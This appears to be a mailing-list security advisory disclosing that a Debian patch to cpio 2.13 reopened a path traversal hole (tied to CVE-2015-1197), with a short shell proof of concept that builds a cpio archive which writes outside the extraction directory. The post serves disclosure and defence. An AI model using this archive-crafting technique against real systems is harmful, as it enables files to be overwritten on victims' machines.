Security vulnerability in Debian's cpio 2.13

[Ingo Brückl <ib () oddnet de>]

Debian has applied patch "revert-CVE-2015-1197-handling" to cpio
(2.13+dfsg-7.1) to "Fix a regression in handling of CVE-2015-1197 &
--no-absolute-filenames by reverting part of an upstream commit." and to
close Debian bugs #946267 ("cpio -i --no-absolute-filenames breaks symlinks
starting with / or /..") and #946469 ("initramfs-tools-core: unmkinitrams
creates broken binaries").

This patch made Debian cpio 2.13 vulnerable to path traversal.

The vulnerability has been reported to the Debian bug tracking system:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1059163

Instructions to craft a cpio archive to demonstrate the vulnerability:

  mkdir test_cpio
  ln -sf /tmp/ test_cpio/tmp
  echo "TEST Traversal" > test_cpio/tmpYtrav.txt
  cd test_cpio/
  ls | cpio -ov > ../trav.cpio
  cd ../
  sed -i s/"tmpY"/"tmp\/"/g trav.cpio

Even

  cpio -id --no-absolute-filenames -I trav.cpio

doesn't prevent path traversal with Debian's cpio, although it does with the
original cpio.

Ingo